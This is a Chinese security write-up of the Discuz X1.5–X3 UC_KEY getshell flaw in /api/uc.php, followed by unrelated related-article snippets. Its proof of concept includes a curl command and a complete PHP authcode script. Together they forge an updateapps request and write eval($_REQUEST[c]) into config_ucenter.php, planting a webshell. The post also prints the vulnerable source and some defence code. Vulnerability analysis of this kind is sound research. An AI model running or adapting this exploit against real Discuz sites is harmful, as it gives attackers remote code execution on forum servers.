Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

在Discuz中,uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

2. 漏洞触发条件

1. 必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中
2. 配置文件config.inc.php必须可写 

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\‘);eval(\\$_REQUEST[c]);#"

<?php

    $key = ‘d0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872‘;# uc_key 写在这里
    $url = ‘http://localhost/discuz/upload/api/uc.php‘;
    $arg = ‘action=updateapps&time=‘.time(); #拿webshell:http://localhost/discuz/upload/config/config_ucenter.php 密码:c

    echo ‘curl "‘.$url.‘?code=‘.rawurlencode(authcode($arg,‘ENCODE‘,$key)).‘" -d "‘.addslashes(‘<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\‘);eval(\$_REQUEST[c]);#</item></root>‘).‘"‘;

    #curl或者用其他工具post提交 

    function authcode($string, $operation = ‘DECODE‘, $key = ‘‘, $expiry = 0)
    {

        $ckey_length = 4;
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == ‘DECODE‘ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ‘‘;

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == ‘DECODE‘ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d‘, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = ‘‘;
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++)
        {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }

        for($j = $i = 0; $i < 256; $i++)
        {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++)
        {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == ‘DECODE‘)
        {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16))
            {
                return substr($result, 26);
            }
            else
            {
                return ‘‘;
            }
        }
        else
        {
            return $keyc.str_replace(‘=‘, ‘‘, base64_encode($result));
        }
    }
?>

Relevant Link:

http://faq.comsenz.com/viewnews-391
http://0day5.com/archives/1140
http://www.waitalone.cn/discuz-uc_key-getshell.html
http://www.sqlmap.cc/post-134.html

3. 漏洞影响范围
4. 漏洞代码分析

/api/uc.php

function updateapps($get, $post)
{
    global $_G;

    if(!API_UPDATEAPPS)
    {
        return API_RETURN_FORBIDDEN;
    }

    $UC_API = ‘‘;
    if($post[‘UC_API‘])
    {
        $UC_API = str_replace(array(‘\‘‘, ‘"‘, ‘\\‘, "\0", "\n", "\r"), ‘‘, $post[‘UC_API‘]);
        unset($post[‘UC_API‘]);
    }

    $cachefile = DISCUZ_ROOT.‘./uc_client/data/cache/apps.php‘;
    $fp = fopen($cachefile, ‘w‘);
    $s = "<?php\r\n";
    $s .= ‘$_CACHE[\‘apps\‘] = ‘.var_export($post, TRUE).";\r\n";
    fwrite($fp, $s);
    fclose($fp);

    if($UC_API && is_writeable(DISCUZ_ROOT.‘./config/config_ucenter.php‘))
    {
        //Discuz x系列的添加了个正则 所以加个 http://、https://
        if(preg_match(‘/^https?:\/\//is‘, $UC_API))
        {
            $configfile = trim(file_get_contents(DISCUZ_ROOT.‘./config/config_ucenter.php‘));
            $configfile = substr($configfile, -2) == ‘?>‘ ? substr($configfile, 0, -2) : $configfile;
            /*
            这行代码是漏洞的关键
            1. 第一次提交: \‘);phpinfo();
            /config/config_ucenter.php里的define那句就变成了: define(‘UC_API‘,‘\‘);phpinfo();‘);

            2. 第二次再提交
            非贪婪匹配会匹配到: define(‘UC_API‘,‘\‘);
            phpinfo();就留下来了

            完成二次注入
            */
            $configfile = preg_replace("/define\(‘UC_API‘,\s*‘.*?‘\);/i", "define(‘UC_API‘, ‘".addslashes($UC_API)."‘);", $configfile);
            //$configfile = preg_replace("/define(‘UC_API‘,s*‘.*?‘);/i", "define(‘UC_API‘, ‘$UC_API‘);", $configfile);
            if($fp = @fopen(DISCUZ_ROOT.‘./config/config_ucenter.php‘, ‘w‘))
            {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
    }
    return API_RETURN_SUCCEED;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

5. 防御方法

如果说class_core.php是执行初始化的工作,或者说声明必要的内容,那么这里的C::app()->init()就是把基本上需要的内容都获取到,例如数据库连接,后台设置的内容,用户信息,session信息等等

/api/uc.php

if(!defined(‘IN_UC‘))
{
    require_once ‘../source/class/class_core.php‘;

    //初始化检测
    if (method_exists("C", "app"))
    {
        $discuz = C::app();
        $discuz->init();
    } 

    require DISCUZ_ROOT.‘./config/config_ucenter.php‘; 

    $get = $post = array();

    $code = @$_GET[‘code‘];
    parse_str(authcode($code, ‘DECODE‘, UC_KEY), $get); 

    if(time() - $get[‘time‘] > 3600) {
        exit(‘Authracation has expiried‘);
    }
    if(empty($get)) {
        exit(‘Invalid Request‘);
    }

    include_once DISCUZ_ROOT.‘./uc_client/lib/xml.class.php‘;
    $post = xml_unserialize(file_get_contents(‘php://input‘)); 

    if(in_array($get[‘action‘], array(‘test‘, ‘deleteuser‘, ‘renameuser‘, ‘gettag‘, ‘synlogin‘, ‘synlogout‘, ‘updatepw‘, ‘updatebadwords‘, ‘updatehosts‘, ‘updateapps‘, ‘updateclient‘, ‘updatecredit‘, ‘getcredit‘, ‘getcreditsettings‘, ‘updatecreditsettings‘, ‘addfeed‘)))
    {
        $uc_note = new uc_note();
        echo $uc_note->$get[‘action‘]($get, $post);
        exit();
    }
    else
    {
        exit(API_RETURN_FAILED);
    }
}
else
{
    exit;
}

继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中

private function _get_script_url()
{
    if(!isset($this->var[‘PHP_SELF‘]))
    {
        $scriptName = basename($_SERVER[‘SCRIPT_FILENAME‘]);
        if(basename($_SERVER[‘SCRIPT_NAME‘]) === $scriptName)
        {
            $this->var[‘PHP_SELF‘] = $_SERVER[‘SCRIPT_NAME‘];
        }
        else if(basename($_SERVER[‘PHP_SELF‘]) === $scriptName)
        {
            $this->var[‘PHP_SELF‘] = $_SERVER[‘PHP_SELF‘];
        }
        else if(isset($_SERVER[‘ORIG_SCRIPT_NAME‘]) && basename($_SERVER[‘ORIG_SCRIPT_NAME‘]) === $scriptName)
        {
            $this->var[‘PHP_SELF‘] = $_SERVER[‘ORIG_SCRIPT_NAME‘];
        }
        else if(($pos = strpos($_SERVER[‘PHP_SELF‘],‘/‘.$scriptName)) !== false)
        {
            $this->var[‘PHP_SELF‘] = substr($_SERVER[‘SCRIPT_NAME‘],0,$pos).‘/‘.$scriptName;
        }
        else if(isset($_SERVER[‘DOCUMENT_ROOT‘]) && strpos($_SERVER[‘SCRIPT_FILENAME‘],$_SERVER[‘DOCUMENT_ROOT‘]) === 0)
        {
            $this->var[‘PHP_SELF‘] = str_replace(‘\\‘,‘/‘,str_replace($_SERVER[‘DOCUMENT_ROOT‘],‘‘,$_SERVER[‘SCRIPT_FILENAME‘]));
            $this->var[‘PHP_SELF‘][0] != ‘/‘ && $this->var[‘PHP_SELF‘] = ‘/‘.$this->var[‘PHP_SELF‘];
        }
        else
        {
            system_error(‘request_tainting‘);
        }
    }
    return $this->var[‘PHP_SELF‘];
}

private function _init_input()
{
    if (isset($_GET[‘GLOBALS‘]) ||isset($_POST[‘GLOBALS‘]) ||  isset($_COOKIE[‘GLOBALS‘]) || isset($_FILES[‘GLOBALS‘])) {
        system_error(‘request_tainting‘);
    }

    if(MAGIC_QUOTES_GPC) {
        $_GET = dstripslashes($_GET);
        $_POST = dstripslashes($_POST);
        $_COOKIE = dstripslashes($_COOKIE);
    }

    $prelength = strlen($this->config[‘cookie‘][‘cookiepre‘]);
    foreach($_COOKIE as $key => $val) {
        if(substr($key, 0, $prelength) == $this->config[‘cookie‘][‘cookiepre‘]) {
            $this->var[‘cookie‘][substr($key, $prelength)] = $val;
        }
    }

    if($_SERVER[‘REQUEST_METHOD‘] == ‘POST‘ && !empty($_POST)) {
        $_GET = array_merge($_GET, $_POST);
    }

    if(isset($_GET[‘page‘])) {
        $_GET[‘page‘] = rawurlencode($_GET[‘page‘]);
    }

    if(!(!empty($_GET[‘handlekey‘]) && preg_match(‘/^\w+$/‘, $_GET[‘handlekey‘]))) {
        unset($_GET[‘handlekey‘]);
    }

    if(!empty($this->var[‘config‘][‘input‘][‘compatible‘])) {
        foreach($_GET as $k => $v) {
            $this->var[‘gp_‘.$k] = daddslashes($v);
        }
    }

    $this->var[‘mod‘] = empty($_GET[‘mod‘]) ? ‘‘ : dhtmlspecialchars($_GET[‘mod‘]);
    $this->var[‘inajax‘] = empty($_GET[‘inajax‘]) ? 0 : (empty($this->var[‘config‘][‘output‘][‘ajaxvalidate‘]) ? 1 : ($_SERVER[‘REQUEST_METHOD‘] == ‘GET‘ && $_SERVER[‘HTTP_X_REQUESTED_WITH‘] == ‘XMLHttpRequest‘ || $_SERVER[‘REQUEST_METHOD‘] == ‘POST‘ ? 1 : 0));
    $this->var[‘page‘] = empty($_GET[‘page‘]) ? 1 : max(1, intval($_GET[‘page‘]));
    $this->var[‘sid‘] = $this->var[‘cookie‘][‘sid‘] = isset($this->var[‘cookie‘][‘sid‘]) ? dhtmlspecialchars($this->var[‘cookie‘][‘sid‘]) : ‘‘;

    if(empty($this->var[‘cookie‘][‘saltkey‘])) {
        $this->var[‘cookie‘][‘saltkey‘] = random(8);
        dsetcookie(‘saltkey‘, $this->var[‘cookie‘][‘saltkey‘], 86400 * 30, 1, 1);
    }
    $this->var[‘authkey‘] = md5($this->var[‘config‘][‘security‘][‘authkey‘].$this->var[‘cookie‘][‘saltkey‘]);

}

Relevant Link:

http://blog.csdn.net/jesson002/article/details/11166827

6. 攻防思考

Relevant Link:

http://www.oldjun.com/blog/index.php/archives/59/
http://www.sqlmap.cc/post-17.html
http://www.oldjun.com/blog/index.php/archives/76/

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-07 11:57:54

Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul的相关文章

discuz论坛UC_KEY重置

由于某种原因,discuz的UC_KEY值遭泄露,黑客通过此值能够轻易的进行获取和重置管理员的密码.为了填补漏洞,需要进行UC_KEY的修改. 修改方法:(线上UCenter1.6版本) 1.修改以下三个文件中对应的UC_KEY值: /var/www/html/bbs/config/config_ucenter.php /var/www/html/ucenter/config.inc.php /var/www/html/bbs/uc_server/data/cache 2.登录UCenter控制

Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限.这不干扰我们worm的进行. step 1 : attacker 发送带xss worm payload给 用户a, step 2 : 用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payl

[javascript svg fill stroke stroke-width x1 y1 x2 y2 line stroke-opacity fill-opacity 属性讲解] svg fill stroke stroke-width stroke-opacity fill-opacity line绘制线条属性讲解

1 <!DOCTYPE html> 2 <html lang='zh-cn'> 3 <head> 4 <title>Insert you title</title> 5 <meta name='description' content='this is my page'> 6 <meta name='keywords' content='keyword1,keyword2,keyword3'> 7 <meta htt

HDU 4259(Double Dealing-lcm(x1..xn)=lcm(x1,lcm(x2..xn))

Double Dealing Time Limit: 50000/20000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1924    Accepted Submission(s): 679 Problem Description Take a deck of n unique cards. Deal the entire deck out to k players in

买茶叶想到的哪个比较便宜 x1/y1 &gt;x2/y2 x代表多少钱 y代表 多少克 无聊的试炼

茶叶1 128元     200克 茶叶2  330元    160克 当然这个哪个便宜 一眼就知道了,这里不过抛砖引玉 128元    330元 200克    160克 我们把价钱用x表示 多少克用y表示 x>0 y>0 已知 x1           x2 ~       >    ~ y1           y2 推导初x1y2>x2y1 可是为什么呢 假设 x2=x1*k1 y2=y1*k2 第一步 得到 x1       x1*k1 ~    >     ~ y

利用MATLAB求方程y1=3x1+x2+x3,y2=3x1-x2-x3在x1=-2,x2=3,x3=1时的值

求方程y1=3x1+x2+x3,y2=3x1-x2-x3在x1=-2,x2=3,x3=1时的值. 解:打开MATLAB输入如下指令: x1=-2;x2=3;x3=1; >> y1=3*x1+x2+x3 y1 = -2 >> y2=3*x1-x2-x3 y2 = -10

Discuz利用UC_KEY进行前台getshell

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行. 先附上来源中的脚本.修改了一些代码. <?php $timestamp = time()+10*3600; $host="ip地址"; $agent= md5("Mozilla/5.

[Sdoi2013]森林

/* 平常这种题很常见的思路就是求出dfs序来,然后每次查询的时候就是在主席树上查询 x+y-lca-fa[lca] 的值就行了. 但是这个题要动态的给森林中加边,还是强制在线的,所以就需要考虑换一种方法来维护这个东西. 首先先dfs出每棵树来,然后对于link操作,可以启发式合并两个主席树.这里我们把主席树维护的dfs序变成维护每个点到根的这条路径.所里link的时候假设我们要把x合到y上,那么我们就边dfs x 这棵树,边用当前点的fa作为历史状态的root来更新当前点的root就行了.求l

CSU 1812 三角形和矩形

湖南省第十二届大学生计算机程序设计竞赛$J$题 计算几何. #pragma comment(linker, "/STACK:1024000000,1024000000") #include<cstdio> #include<cstring> #include<cmath> #include<algorithm> #include<vector> #include<map> #include<set> #